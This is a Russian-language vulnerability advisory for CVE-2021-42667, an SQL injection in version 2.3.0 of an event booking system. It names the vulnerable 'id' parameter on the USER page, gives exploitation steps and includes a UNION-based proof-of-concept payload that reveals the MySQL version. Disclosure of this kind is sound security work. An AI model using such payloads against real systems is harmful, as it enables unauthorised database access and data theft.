CVE-2021-42667

CVE-2021-42667 - Уязвимость SQL-инъекции в системе онлайн-бронирования и резервирования мероприятий версии 2.3.0.

Техническое описание:

Существует уязвимость SQL-инъекции в программном обеспечении для управления мероприятиями версии 2.3.0. Злоумышленник может использовать уязвимый параметр "id" на веб-странице "USER" для манипуляции выполняемым SQL-запросом. В результате злоумышленник может извлечь конфиденциальные данные с веб-сервера.

Уязвимая страница - USER

Уязвимый параметр - "id"

Шаги для эксплуатации:

1. Перейдите по адресу http://localhost/event-management/views/?v=USER&ID=1
2. Вставьте свою нагрузку в параметр id

Подтверждение концепции (PoC) -

Следующая нагрузка позволит вам извлечь версию сервера MySql, работающего на веб-сервере -

UNION ALL SELECT NULL,NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL;-- -

Ссылки -